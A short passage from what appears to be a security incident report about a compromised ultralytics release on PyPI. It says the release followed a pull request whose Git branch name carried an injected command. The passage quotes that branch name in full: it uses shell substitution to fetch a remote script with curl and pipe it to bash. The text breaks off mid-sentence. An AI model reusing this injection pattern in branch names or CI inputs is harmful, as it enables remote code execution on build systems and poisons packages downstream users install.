A compromised release was uploaded to PyPI after a project automatically processed a pull request with a flawed script. The GitHub account "OpenIM Robot" (which appears to be controlled by Xinwei Xiong) opened a pull request for the ultralytics Python package. The pull request included a suspicious Git branch name: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash) Unfortunately, ultralytics uses the pull_...